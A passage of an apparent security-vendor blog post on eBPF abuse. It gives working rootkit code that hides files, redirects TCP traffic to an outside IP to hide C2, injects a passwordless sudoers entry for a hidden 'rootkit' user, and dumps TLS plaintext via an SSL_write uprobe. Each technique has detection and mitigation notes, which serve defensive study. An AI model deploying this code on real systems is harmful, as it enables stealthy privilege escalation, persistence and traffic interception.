<pre class="wp-block-code" aria-describedby="shcb-language-18" data-shcb-language-name="Perl" data-shcb-language-slug="perl"><span><code class="hljs language-perl shcb-wrap-lines">unsigned long syscall_id = ctx-&gt;args[<span class="hljs-number">1</span>];
struct pt_regs *regs;
regs = (struct pt_regs *)ctx-&gt;args[<span class="hljs-number">0</span>];
<span class="hljs-keyword">if</span> (syscall_id == SYS_openat)
{
    <span class="hljs-regexp">//</span> <span class="hljs-keyword">do</span> something
}</code></span><small class="shcb-language" id="shcb-language-18"><span class="shcb-language__label">Code language:</span> <span class="shcb-language__name">Perl</span> <span class="shcb-language__paren">(</span><span class="shcb-language__slug">perl</span><span class="shcb-language__paren">)</span></small></pre>


<p>In order to communicate with the running program in user-mode, we shared a struct like the following:</p>


<pre class="wp-block-code" aria-describedby="shcb-language-19" data-shcb-language-name="Perl" data-shcb-language-slug="perl"><span><code class="hljs language-perl shcb-wrap-lines">struct target
{
    <span class="hljs-keyword">int</span> pid;
    char procname[<span class="hljs-number">16</span>];
    char path[<span class="hljs-number">256</span>];
};

struct
{
    __uint(type, BPF_MAP_TYPE_HASH);
    __type(key, u32);
    __type(value, struct target);
    __uint(max_entries, <span class="hljs-number">1</span>);
} target SEC(<span class="hljs-string">".maps"</span>);</code></span><small class="shcb-language" id="shcb-language-19"><span class="shcb-language__label">Code language:</span> <span class="shcb-language__name">Perl</span> <span class="shcb-language__paren">(</span><span class="shcb-language__slug">perl</span><span class="shcb-language__paren">)</span></small></pre>


<p>The same struct must be defined on the golang side:</p>


<pre class="wp-block-code" aria-describedby="shcb-language-20" data-shcb-language-name="Perl" data-shcb-language-slug="perl"><span><code class="hljs language-perl shcb-wrap-lines">type Target struct {
    Pid  uint32
    Comm [<span class="hljs-number">16</span>]byte
    Path [<span class="hljs-number">256</span>]byte
}</code></span><small class="shcb-language" id="shcb-language-20"><span class="shcb-language__label">Code language:</span> <span class="shcb-language__name">Perl</span> <span class="shcb-language__paren">(</span><span class="shcb-language__slug">perl</span><span class="shcb-language__paren">)</span></small></pre>


<p>We then can update the struct from the user-space like this:</p>


<pre class="wp-block-code" aria-describedby="shcb-language-21" data-shcb-language-name="Perl" data-shcb-language-slug="perl"><span><code class="hljs language-perl shcb-wrap-lines">targetMap, err := bpfModule.GetMap(<span class="hljs-string">"target"</span>)
<span class="hljs-keyword">if</span> err != nil {
    fmt.Fprintln(os.Stderr, err)
    os.Exit(-<span class="hljs-number">1</span>)
}

// update the <span class="hljs-keyword">map</span>

key := uint32(<span class="hljs-number">0x1337</span>)
var val Target
copy(val.Comm[:], procname)
copy(val.Path[:], filepath)
val.Pid = uint32(pid)
keyUnsafe := unsafe.Pointer(&amp;key)
valueUnsafe := unsafe.Pointer(&amp;val)
targetMap.Update(keyUnsafe, valueUnsafe)
</code></span><small class="shcb-language" id="shcb-language-21"><span class="shcb-language__label">Code language:</span> <span class="shcb-language__name">Perl</span> <span class="shcb-language__paren">(</span><span class="shcb-language__slug">perl</span><span class="shcb-language__paren">)</span></small></pre>


<p>In order to make everything work, we would need some utility functions since eBPF programs can&rsquo;t use libc functions. The following functions are used to manipulate strings:</p>


<pre class="wp-block-code" aria-describedby="shcb-language-22" data-shcb-language-name="Perl" data-shcb-language-slug="perl"><span><code class="hljs language-perl shcb-wrap-lines">static __always_inline __u64
__bpf_strncmp(const void *<span class="hljs-keyword">x</span>, const void *<span class="hljs-keyword">y</span>, __u64 len)
{
    <span class="hljs-regexp">//</span> implement strncmp
    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> i = <span class="hljs-number">0</span>; i &lt; len; i++)
    {
        <span class="hljs-keyword">if</span> (((char *)<span class="hljs-keyword">x</span>)[i] != ((char *)<span class="hljs-keyword">y</span>)[i])
        {
            <span class="hljs-keyword">return</span> ((char *)<span class="hljs-keyword">x</span>)[i] - ((char *)<span class="hljs-keyword">y</span>)[i];
        }
        <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (((char *)<span class="hljs-keyword">x</span>)[i] == <span class="hljs-string">'\0'</span>)
        {
            <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
        }
    }

    <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
}

static __always_inline __u64
__bpf_strlen(const void *<span class="hljs-keyword">x</span>)
{
    <span class="hljs-regexp">//</span> implement strlen
    __u64 len = <span class="hljs-number">0</span>;
    <span class="hljs-keyword">while</span> (((char *)<span class="hljs-keyword">x</span>)[len] != <span class="hljs-string">'\0'</span>)
    {
        len++;
    }
    <span class="hljs-keyword">return</span> len;
}
</code></span><small class="shcb-language" id="shcb-language-22"><span class="shcb-language__label">Code language:</span> <span class="shcb-language__name">Perl</span> <span class="shcb-language__paren">(</span><span class="shcb-language__slug">perl</span><span class="shcb-language__paren">)</span></small></pre>


<p>The final code will look like this:</p>


<pre class="wp-block-code" aria-describedby="shcb-language-23" data-shcb-language-name="Perl" data-shcb-language-slug="perl"><span><code class="hljs language-perl shcb-wrap-lines"><span class="hljs-keyword">if</span> (syscall_id == SYS_openat)
{
    struct target *tar;
    u32 key = <span class="hljs-number">0x1337</span>;
    tar = bpf_map_lookup_elem(&amp;target, &amp;key);
    <span class="hljs-keyword">if</span> (!tar)
    {
        <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
    }
    <span class="hljs-keyword">else</span>
    {
        char pathname[<span class="hljs-number">256</span>];
        char *pathname_ptr = (char *)PT_REGS_PARM2_CORE(regs);
        bpf_core_read_user_str(&amp;pathname, sizeof(pathname), pathname_ptr);

        char comm[<span class="hljs-number">16</span>];
        bpf_get_current_comm(&amp;comm, sizeof(comm));

        u32 pid = bpf_get_current_pid_tgid() &gt;&gt; <span class="hljs-number">32</span>;
        bool match = false;

        <span class="hljs-keyword">if</span> (tar-&gt;pid != <span class="hljs-number">0</span> &amp;&amp; pid == tar-&gt;pid)
        {
            match = true;
        }

        <span class="hljs-keyword">if</span> (!match &amp;&amp; __bpf_strncmp(comm, tar-&gt;procname, sizeof(comm)) == <span class="hljs-number">0</span>)
        {
            <span class="hljs-keyword">if</span> (!match &amp;&amp; __bpf_strncmp(pathname, tar-&gt;path, sizeof(pathname)) == <span class="hljs-number">0</span>)
            {
                match = true;
            }
        }
        <span class="hljs-keyword">else</span>
        {
            <span class="hljs-keyword">if</span> (!match &amp;&amp; __bpf_strncmp(pathname, tar-&gt;path, sizeof(pathname)) == <span class="hljs-number">0</span>)
            {
                match = true;
            }
        }

        <span class="hljs-keyword">if</span> (match)
        {

            <span class="hljs-keyword">if</span> (bpf_probe_write_user(pathname_ptr, <span class="hljs-string">"\x00"</span>, <span class="hljs-number">1</span>) != <span class="hljs-number">0</span>)
            {
                <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
            }
        }
    }
}
</code></span><small class="shcb-language" id="shcb-language-23"><span class="shcb-language__label">Code language:</span> <span class="shcb-language__name">Perl</span> <span class="shcb-language__paren">(</span><span class="shcb-language__slug">perl</span><span class="shcb-language__paren">)</span></small></pre>


<p>Another approach to obtain the same result is by hooking <code>SYS_getdents</code> and filtering the file we want to hide from the list of files returned by the syscall.</p>



<p>From a defensive perspective, it&rsquo;s possible to detect this kind of attack by using eBPF to monitor syscalls to <code>SYS_bpf</code> and check if the attacker is trying to load a program that hooks syscalls. This can be done by checking the <code>BPF_PROG_TYPE_RAW_TRACEPOINT</code> inside the <code>bpf_prog_info</code> struct.</p>



<h4 class="wp-block-heading">Traffic redirection with TC</h4>



<p>Another important feature of eBPF is the ability to modify incoming and outgoing traffic on the fly, which can be done using the TC hook. This hook is executed after the packet has been processed by the kernel, meaning that the packet has already been processed by the XDP hook if it was attached to the interface.</p>



<p>TC can be <em>abused</em> to hide malicious traffic and is really useful when it comes to hiding C2 traffic. The following example shows how to redirect all the traffic to a specific IP address. This way, anyone monitoring the traffic on the interface won&rsquo;t be able to see the real destination of the packets.</p>



<p>The first thing to do is create a new TC hook like this:</p>


<pre class="wp-block-code" aria-describedby="shcb-language-24" data-shcb-language-name="Perl" data-shcb-language-slug="perl"><span><code class="hljs language-perl shcb-wrap-lines">SEC(<span class="hljs-string">"tc"</span>)
<span class="hljs-keyword">int</span> tc_prog(struct __sk_buff *skb)
{
    <span class="hljs-keyword">return</span> TC_ACT_OK;
}</code></span><small class="shcb-language" id="shcb-language-24"><span class="shcb-language__label">Code language:</span> <span class="shcb-language__name">Perl</span> <span class="shcb-language__paren">(</span><span class="shcb-language__slug">perl</span><span class="shcb-language__paren">)</span></small></pre>


<p>The return value can be either <code>TC_ACT_OK</code> or <code>TC_ACT_SHOT</code>. The first one means that the packet should be processed normally, the second one means that the packet should be dropped, so pay attention to this otherwise you will end up dropping all the traffic.</p>



<p>The <code>struct __sk_buff</code> struct contains all the information about the packet. We can use this struct to retrieve the destination IP address and modify it. The following code shows how to do this:</p>


<pre class="wp-block-code" aria-describedby="shcb-language-25" data-shcb-language-name="Perl" data-shcb-language-slug="perl"><span><code class="hljs language-perl shcb-wrap-lines">struct iphdr *iph = (struct iphdr *)(skb-&gt;data + sizeof(struct ethhdr));
<span class="hljs-keyword">if</span> ((void *)(iph + <span class="hljs-number">1</span>) &gt; skb-&gt;data_end)
{
    <span class="hljs-keyword">return</span> TC_ACT_OK;
}

<span class="hljs-keyword">if</span> (iph-&gt;protocol == IPPROTO_TCP)
{
    <span class="hljs-regexp">//</span> get tcphdr
    struct tcphdr *tcph = (struct tcphdr *)(iph + <span class="hljs-number">1</span>);
    <span class="hljs-keyword">if</span> ((void *)(tcph + <span class="hljs-number">1</span>) &gt; skb-&gt;data_end)
    {
        <span class="hljs-keyword">return</span> TC_ACT_OK;
    }

    // get tcp dst addr <span class="hljs-keyword">and</span> dst port
    __u32 dst_addr = bpf_htonl(iph-&gt;daddr);
    __u16 dst_port = bpf_htons(tcph-&gt;dest);

    <span class="hljs-keyword">if</span> (dst_addr == <span class="hljs-number">0xDEADBEEF</span>)
    {
        <span class="hljs-regexp">//</span> check <span class="hljs-keyword">if</span> dst port is <span class="hljs-number">0x1337</span>
        <span class="hljs-keyword">if</span> (dst_port == <span class="hljs-number">0x1337</span>)
        {
            <span class="hljs-regexp">//</span> modify dest port to <span class="hljs-number">1234</span>
            u16 new_dst_port = bpf_htons(<span class="hljs-number">1234</span>);
            bpf_skb_store_bytes(skb, sizeof(struct ethhdr) + sizeof(struct iphdr) + offsetof(struct tcphdr, dest), &amp;new_dst_port, sizeof(new_dst_port), BPF_F_RECOMPUTE_CSUM);

            <span class="hljs-regexp">//</span> modify dest addr to <span class="hljs-number">15.204</span>.<span class="hljs-number">197.177</span>
            u32 new_dst_addr = bpf_htonl(<span class="hljs-number">0x0FC4C5B1</span>);
            bpf_skb_store_bytes(skb, sizeof(struct ethhdr) + offsetof(struct iphdr, daddr), &amp;new_dst_addr, sizeof(new_dst_addr), BPF_F_RECOMPUTE_CSUM);

            iph = (struct iphdr *)(skb-&gt;data + sizeof(struct ethhdr));
            <span class="hljs-keyword">if</span> ((void *)(iph + <span class="hljs-number">1</span>) &gt; skb-&gt;data_end)
            {
                <span class="hljs-keyword">return</span> TC_ACT_OK;
            }

            struct tcphdr *tcph = (struct tcphdr *)(iph + <span class="hljs-number">1</span>);
            <span class="hljs-keyword">if</span> ((void *)(tcph + <span class="hljs-number">1</span>) &gt; skb-&gt;data_end)
            {
                <span class="hljs-keyword">return</span> TC_ACT_OK;
            }

            dst_port = bpf_htons(tcph-&gt;dest);
            dst_addr = bpf_htonl(iph-&gt;daddr);
        }
    }
}
</code></span><small class="shcb-language" id="shcb-language-25"><span class="shcb-language__label">Code language:</span> <span class="shcb-language__name">Perl</span> <span class="shcb-language__paren">(</span><span class="shcb-language__slug">perl</span><span class="shcb-language__paren">)</span></small></pre>


<p>Just remember to update the checksums after modifying the packet, otherwise the packet will be dropped by the kernel.</p>



<p>To detect such attacks, it is sufficient to use external monitoring tools or hardware since once the packet has been processed by the kernel it&rsquo;s possible to see the actual destination of the packet.</p>



<h4 class="wp-block-heading">Sudoers hidden root account</h4>



<p>Creating a hidden user is a neat feature when it comes to hiding malicious behaviors. This can be achieved by using eBPF to hook <code>SYS_open</code> and <code>SYS_read</code> syscalls, and then by crafting a custom entry inside <strong>/etc/sudoers</strong> file when sudo tries to read it. The code below is just an example of how such capabilities can be achieved.</p>



<p>In order to do so, we created three different kprobes: one on <code>SYS_openat2,</code> one on <code>SYS_read,</code> and one on <code>SYS_exit</code>. The logic is as follows:</p>



<p>1 &#8211; when <code>SYS_openat2</code> is called, we save the file descriptor of <strong>/etc/sudoers</strong> and the calling process pid inside a map.</p>



<p>2 &#8211; when <code>SYS_read</code> is called, we check if the file descriptor is the one we saved before; if so, we save the destination buffer inside the map.</p>



<p>3 &#8211; when <code>SYS_exit</code> is called, we check if the process pid is present inside our map; if so, we close the file descriptor and remove it from our map to prevent race conditions when two processes have the same fd number.</p>



<p>The final code looks like this:</p>


<pre class="wp-block-code" aria-describedby="shcb-language-26" data-shcb-language-name="Perl" data-shcb-language-slug="perl"><span><code class="hljs language-perl shcb-wrap-lines"><span class="hljs-comment">#define USERNAME        "rootkit"</span>
<span class="hljs-comment">#define NEW_SUDOERS     "root ALL=(ALL:ALL) ALL\n" USERNAME " ALL=(ALL) NOPASSWD:ALL\n"</span>
<span class="hljs-comment">#define PAD_CHAR        '\0'    // can also be '#'</span>
<span class="hljs-comment">#define MAX_SUDOERS_SIZE 20000</span>
&#8203;
<span class="hljs-comment">#define true    1</span>
<span class="hljs-comment">#define false   0</span>
<span class="hljs-comment">#define bool    int</span>

&#8203;
SEC(<span class="hljs-string">"kprobe/do_sys_openat2"</span>)
<span class="hljs-keyword">int</span> kprobe__do_sys_openat2(struct pt_regs *ctx) {
   struct filename *filename;
   bpf_probe_read(&amp;filename, sizeof(filename), &amp;ctx-&gt;si);
&#8203;
   char name[<span class="hljs-number">256</span>];
   bpf_probe_read_str(name, sizeof(name), &amp;filename-&gt;name);
&#8203;
   <span class="hljs-keyword">if</span> (strcmp(name, <span class="hljs-string">"/etc/sudoers"</span>) == true) {
       size_t pt = bpf_get_current_pid_tgid();
       <span class="hljs-regexp">//</span> first <span class="hljs-keyword">write</span> fd = -<span class="hljs-number">1</span> to the <span class="hljs-keyword">map</span> as we are currently at the start of the function
       // <span class="hljs-keyword">and</span> we don<span class="hljs-string">'t know the value of it yet, we also don'</span>t know the destination buffer
       // <span class="hljs-keyword">until</span> kprobe/ksys_read, so set it to NULL <span class="hljs-keyword">for</span> now
       struct fd_dest fdest = { .fd = -<span class="hljs-number">1</span>, .dest = NULL };
&#8203;
       bpf_map_update_elem(&amp;sudoers_map, &amp;pt, &amp;fdest, BPF_NOEXIST);
   }
&#8203;
   <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
}
&#8203;
SEC(<span class="hljs-string">"kretprobe/do_sys_openat2"</span>)
<span class="hljs-keyword">int</span> kretprobe__do_sys_openat2(struct pt_regs *ctx) {
   struct fd_dest fdest;
   size_t pt = bpf_get_current_pid_tgid();
&#8203;
   void *val = bpf_map_lookup_elem(&amp;sudoers_map, &amp;pt);
   <span class="hljs-keyword">if</span> (val == NULL)
       <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
&#8203;
   bpf_probe_read(&amp;fdest, sizeof(fdest), val);
   <span class="hljs-regexp">//</span> check <span class="hljs-keyword">if</span> we already saved the fd of /etc/sudoers to the <span class="hljs-keyword">map</span>
   <span class="hljs-keyword">if</span> (fdest.fd != -<span class="hljs-number">1</span>)
       <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
&#8203;
   // <span class="hljs-keyword">read</span> the rax value, which contains the fd of the opened file
   bpf_probe_read(&amp;fdest.fd, sizeof(fdest.fd), &amp;ctx-&gt;ax);
&#8203;
   // update fd from -<span class="hljs-number">1</span> to the actual fd
   bpf_map_update_elem(&amp;sudoers_map, &amp;pt, &amp;fdest, BPF_EXIST);
&#8203;
   <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
}
&#8203;
SEC(<span class="hljs-string">"kprobe/ksys_read"</span>)
<span class="hljs-keyword">int</span> kprobe__ksys_read(struct pt_regs *ctx) {
   <span class="hljs-keyword">int</span> fd;
   struct fd_dest fdest;
   void *read_dest = NULL;
   size_t pt = bpf_get_current_pid_tgid();
&#8203;
   void *val = bpf_map_lookup_elem(&amp;sudoers_map, &amp;pt);
   <span class="hljs-keyword">if</span> (val == NULL)
       <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
&#8203;
   bpf_probe_read(&amp;fdest, sizeof(fdest), val);
   <span class="hljs-regexp">//</span> <span class="hljs-keyword">if</span> we still haven<span class="hljs-string">'t hit kretprobe of do_sys_openat2
   // (the fd of /etc/sudoers is not saved yet)
   // also skip if the destination buffer was already saved
   if (fdest.fd == -1 || fdest.dest != NULL)
       return 0;
&#8203;
   bpf_probe_read(&amp;fd, sizeof(fd), &amp;ctx-&gt;di);
   // check if the read fd matches the fd of the /etc/sudoers file
   if (fd != fdest.fd)
       return 0;
&#8203;
   // the destination buffer pointer is within rsi register
   // read its value and write it to the map
   bpf_probe_read(&amp;fdest.dest, sizeof(fdest.dest), &amp;ctx-&gt;si);
   bpf_map_update_elem(&amp;sudoers_map, &amp;pt, &amp;fdest, BPF_EXIST);
&#8203;
   return 0;
}
&#8203;
SEC("kretprobe/ksys_read")
int kretprobe__ksys_read(struct pt_regs *ctx) {
   size_t bytes_read = 0;
   struct fd_dest fdest;
   size_t pt = bpf_get_current_pid_tgid();
&#8203;
   void *val = bpf_map_lookup_elem(&amp;sudoers_map, &amp;pt);
   if (val == NULL)
       return 0;
&#8203;
   bpf_probe_read(&amp;fdest, sizeof(fdest), val);
   if (fdest.dest == NULL)
       return 0;
&#8203;
   size_t new_sudoers_len = strlen(NEW_SUDOERS);
&#8203;
   bpf_probe_read(&amp;bytes_read, sizeof(bytes_read), &amp;ctx-&gt;ax);
   if (bytes_read == 0 || bytes_read &lt; new_sudoers_len)
       return 0;
&#8203;
   // write NEW_SUDOERS to the beginning of the file
   bpf_probe_write_user(fdest.dest, NEW_SUDOERS, new_sudoers_len);
&#8203;
   // pad the rest of the /etc/sudoers with PAD_CHAR
   // i &lt; MAX_SUDOERS_SIZE check is needed otherwise the verifier won'</span>t allow
   // the program to load
   char tmp = PAD_CHAR;
   <span class="hljs-keyword">for</span> (u32 i = new_sudoers_len; i &lt; bytes_read &amp;&amp; i &lt; MAX_SUDOERS_SIZE; i++)
       bpf_probe_write_user(fdest.dest + i, &amp;tmp, sizeof(tmp));
&#8203;
   <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
}
&#8203;
SEC(<span class="hljs-string">"kprobe/do_exit"</span>)
<span class="hljs-keyword">int</span> kprobe__do_exit(struct pt_regs *ctx) {
   size_t pt = bpf_get_current_pid_tgid();
&#8203;
   // <span class="hljs-keyword">if</span> the pid_tgid is found within the <span class="hljs-keyword">map</span> then the process that<span class="hljs-string">'s currently
   // exiting is a process that previously read /etc/sudoers, remove it from the map
   if (bpf_map_lookup_elem(&amp;sudoers_map, &amp;pt))
       bpf_map_delete_elem(&amp;sudoers_map, &amp;pt);
&#8203;
   return 0;
}
</span></code></span><small class="shcb-language" id="shcb-language-26"><span class="shcb-language__label">Code language:</span> <span class="shcb-language__name">Perl</span> <span class="shcb-language__paren">(</span><span class="shcb-language__slug">perl</span><span class="shcb-language__paren">)</span></small></pre>


<p>The only effective way to defend against this kind of rootkit is to use eBPF to monitor <code>SYS_bpf</code> syscall.</p>



<h4 class="wp-block-heading">SSL plaintext dump with Uprobe</h4>



<p>It&rsquo;s not only syscalls that can be hooked, but also user space functions. This can be done by using uprobes. Uprobe hooking works under the hood by using <code>INT3</code> instructions to set breakpoints on the target function. This means that the binary must be compiled with debug symbols in order to be easily hooked. When the breakpoint is hit, the kernel will invoke the eBPF program and pass the context to it. This context contains the registers and the stack of the target process. This means that the eBPF program can read and write the stack of the target process.</p>



<p>The example below shows how to hook the <code>SSL_write</code> function from OpenSSL and dump the plaintext of the SSL connection.</p>


<pre class="wp-block-code" aria-describedby="shcb-language-27" data-shcb-language-name="Perl" data-shcb-language-slug="perl"><span><code class="hljs language-perl shcb-wrap-lines">SEC(<span class="hljs-string">"uprobe/SSL_write"</span>)
<span class="hljs-keyword">int</span> uprobe__SSL_write(struct pt_regs *ctx)
{
    size_t len = (size_t)PT_REGS_PARM3(ctx);
    char *buf = (char *)PT_REGS_PARM2(ctx);

    <span class="hljs-regexp">//</span> check <span class="hljs-keyword">if</span> len is greater than <span class="hljs-number">0</span>
    <span class="hljs-keyword">if</span> (len &gt; <span class="hljs-number">0</span> &amp;&amp; buf != NULL)
    {

        <span class="hljs-keyword">if</span> (len &gt; <span class="hljs-number">256</span>)
        {
            len = <span class="hljs-number">256</span>;
        }

        bpf_printk(<span class="hljs-string">"SSL_write RSI: %p\n"</span>, buf);

        ssl_result_t *res;
        u32 key = <span class="hljs-number">0</span>;

        res = bpf_map_lookup_elem(&amp;ssl_results, &amp;key);
        <span class="hljs-keyword">if</span> (!res)
        {
            <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
        }

        bpf_probe_read_user_str(&amp;res-&gt;msg, len, buf);
        bpf_get_current_comm(&amp;res-&gt;comm, sizeof(res-&gt;comm));
        res-&gt;pid = bpf_get_current_pid_tgid() &gt;&gt; <span class="hljs-number">32</span>;
        bpf_perf_event_output(ctx, &amp;ssl_events, BPF_F_CURRENT_CPU, res, sizeof(*res));
    }

    <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
}</code></span><small class="shcb-language" id="shcb-language-27"><span class="shcb-language__label">Code language:</span> <span class="shcb-language__name">Perl</span> <span class="shcb-language__paren">(</span><span class="shcb-language__slug">perl</span><span class="shcb-language__paren">)</span></small></pre>


<p><code>SSL_write</code> has the following signature:</p>


<pre class="wp-block-code" aria-describedby="shcb-language-28" data-shcb-language-name="Perl" data-shcb-language-slug="perl"><span><code class="hljs language-perl shcb-wrap-lines"><span class="hljs-keyword">int</span> SSL_write(SSL *ssl, const void *buf, <span class="hljs-keyword">int</span> num);</code></span><small class="shcb-language" id="shcb-language-28"><span class="shcb-language__label">Code language:</span> <span class="shcb-language__name">Perl</span> <span class="shcb-language__paren">(</span><span class="shcb-language__slug">perl</span><span class="shcb-language__paren">)</span></small></pre>


<p><code>RSI</code> register will hold the pointer to the buffer containing the data to be sent (plaintext).</p>



<p>Protecting against this kind of attack is trivial, since this will make changes to the <code>.text</code> segment, developers could implement some kind of integrity check (<em>CRC32</em>) to detect if the binary has been modified.</p>



<h2 class="wp-block-heading" id="exploitation">eBPF exploitation</h2>



<p>eBPF is the perfect target for hackers. Given the complexity of the verifier, it&rsquo;s very likely in the near future that some bugs will be found and exploited.</p>



<p>Fuzzing is still the preferred way to find bugs in the kernel, but it&rsquo;s not easy to fuzz eBPF programs. The verifier is very strict and it&rsquo;s not easy to generate valid programs. Some clever approaches have been developed to overcome this problem. For example,<a href="https://github.com/google/buzzer"> Buzzer</a> from Google is a fuzzer that uses logs from the verifier itself to generate valid programs, and also KCOV to trace the coverage of the generated samples.</p>



<p>This approach resulted in the discovery of some bugs in the verifier, <a href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=71b547f561247897a0a14f3082730156c0533fed">CVE-2023-2163</a> for example. Anyway there&rsquo;s still some room for improvement, like fuzzing the side effects of kernel helper functions. This could be done by better implementing the samples&rsquo; generation logic, and, given the small number of instructions supported by the eBPF VM, it&rsquo;s possible to implement a fuzzer that generates valid programs by using a grammar-based approach.</p>



<p>Also, entirely porting the verifier to userspace could be a good idea. This will allow us to fuzz the verifier itself with the help of assertion to force it to crash when it encounters some invalid assumptions.</p>



<h2 class="wp-block-heading" id="mitigation"><strong>Mitigation</strong></h2>



<p>The most effective way to mitigate such attacks is to restrict usage of <code>SYS_bpf </code>to the root user. This can be done by setting the kconfig knob <code>BPF_UNPRIV_DEFAULT_OFF, </code>which is the default at the moment of writing.<br>Another option is using monitoring tools such as <strong>Falco </strong>to monitor syscall usage and detect abuse of such. <br>In addition to the above methods, also using <strong>bpftool </strong>could be useful to get insight about loaded bpf programs and their respective usage (Kprobe, TC, and so on).</p>



<h2 class="wp-block-heading" id="conclusion"><strong>Conclusion</strong></h2>



<p>eBPF is a very powerful technology that allows us to extend the kernel functionality in a safe way. It&rsquo;s used in production by many companies and it&rsquo;s likely that it will be used even more in the future. But also, threat actors can take advantage of this technology to hide their malicious activities, bypass security checks, and even exploit the kernel.</p>



<p>The best way to deal with those kinds of next-gen attacks is to fully use the power of eBPF to monitor the kernel and detect suspicious activities.</p>



<p>Falco provides a great example of how eBPF can be used to detect malicious activities. Also, Falco supports monitoring eBPF syscall, thus allowing it to detect eBPF exploitation attempts.</p>



<h3 class="wp-block-heading">References:</h3>



<ul>
<li><a href="https://github.com/google/buzzer">https://github.com/google/buzzer</a></li>



<li><a href="https://pentera.io/blog/the-good-bad-and-compromisable-aspects-of-linux-ebpf/">https://pentera.io/blog/the-good-bad-and-compromisable-aspects-of-linux-ebpf/</a></li>



<li><a href="https://stdnoerr.github.io/writeup/2022/08/21/eBPF-exploitation-(ft.-D-3CTF-d3bpf).html">https://stdnoerr.github.io/writeup/2022/08/21/eBPF-exploitation-(ft.-D-3CTF-d3bpf).html</a></li>



<li><a href="https://elixir.bootlin.com/linux/v6.4.3/source/kernel/bpf/verifier.c">https://elixir.bootlin.com/linux/v6.4.3/source/kernel/bpf/verifier.c</a></li>



<li><a href="https://ebpf.io/">https://ebpf.io/</a><a href="https://www.collabora.com/news-and-blog/blog/2019/04/15/an-ebpf-overview-part-2-machine-and-bytecode/">https://www.collabora.com/news-and-blog/blog/2019/04/15/an-ebpf-overview-part-2-machine-and-bytecode/</a></li>
</ul>
</body></html>
</div>			</div>

							<div class="col-12">
				<div class="wp-block-rb-pathfactory-concierge">
					<div id="pf-concierge"></div>
				</div>
			</div>
		
		    
	    <div class="col-12">
	    <div class="c-banner c-banner-form c-form col-12 mt-10 py-14 px-8 lg:py-12 lg:px-14 t-gray--bg-gray-60 t-dark--bg-gray-60 t-gray--text-white t-dark--text-white">
    <div class="row items-center">
        <div class="col-12 col-lg-7 flex flex-column">
			                <p class="h5 mb-6 lg:mb-0">Subscribe and get the latest updates</p>
						        </div>

        <div class="col-12 col-lg-5 flex flex-col justify-start items-start md:flex-row lg:justify-end md:items-center">
                <div class="u-spinner js-spinner__3811">
        <div class="u-spinner__cube1"></div>
        <div class="u-spinner__cube2"></div>
    </div>
    <form data-submit-button="Submit" data-formID="3811" data-formInstance="one" data-formTemplate="newsletter" style="display: none;" class="sysdig-form  columns-single" data-successType="success-message" data-recaptcha="false"></form>
    <div id="success-message" style="display: none;">
		<p class="font-family-karla c-heading mb-0">Thank You For Signing Up!</p>    </div>
    <div id="error-message" style="display: none;">
    <div class="col u-align-width-wide c-form-contact">
        <div class="js-success-message col-md-12 text-center">
            <p class="c-heading text-black text-center mb-6">This form failed to load.</p>
            <p class="c-subhead c-subhead--sans text-center text-bluish-grey mb-6">An ad blocking extension or strict tracking protection is preventing this form from loading. Please temporarily disable ad blocking or whitelist this site, use less restrictive tracking protection, or enable JavaScript to load this form. If you are unable to complete this form, please email us at <a href="/cdn-cgi/l/email-protection#a7d4c6cbc2d4e7d4ded4c3cec089c4c8ca"><span class="__cf_email__" data-cfemail="2c5f4d40495f6c5f555f48454b024f4341">[email&#160;protected]</span></a> and a sales rep will contact you.</p>
        </div>
    </div>
</div>        </div>
    </div>
</div>	    </div>
	</div>
</div>


</div><!-- #content -->

<footer id="site-footer" class="c-site-footer bg-gray-80">

    
        <div class="c-site-footer__top">
            <div class="o-container container">
                <div class="row">
                    <div class="col-12 pt-12 pb-0 md:pt-32 md:pb-0">
                        <ul id="menu-footer" class="navbar-nav grid grid-cols-2 md:grid-cols-5 gap-5"><li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" class="not-link menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children nav-item"><span>Products</span>
<ul class="sub-menu">
	<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" class="menu-item menu-item-type-custom menu-item-object-custom nav-item"><a href="/products/platform/" class="flex align-items-center">Sysdig Secure</a></li>
	<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" class="menu-item menu-item-type-custom menu-item-object-custom nav-item"><a href="/products/monitor/" class="flex align-items-center">Sysdig Monitor</a></li>
</ul>
</li>
<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" class="not-link menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children nav-item"><span>Partners</span>
<ul class="sub-menu">
	<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" class="menu-item menu-item-type-custom menu-item-object-custom nav-item"><a href="/partners/" class="flex align-items-center">Sysdig Partners</a></li>
	<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" class="menu-item menu-item-type-post_type menu-item-object-page nav-item"><a href="https://sysdig.com/deal-registration/" class="flex align-items-center">Deal Registration</a></li>
	<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" class="menu-item menu-item-type-post_type menu-item-object-page nav-item"><a href="https://sysdig.com/partnerships-contact/" class="flex align-items-center">Partner Signup</a></li>
	<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" class="menu-item menu-item-type-post_type menu-item-object-page nav-item"><a href="https://sysdig.com/partner-locator/" class="flex align-items-center">Partner Locator</a></li>
	<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" class="menu-item menu-item-type-post_type menu-item-object-page nav-item"><a href="https://sysdig.com/integrations/" class="flex align-items-center">Integrations</a></li>
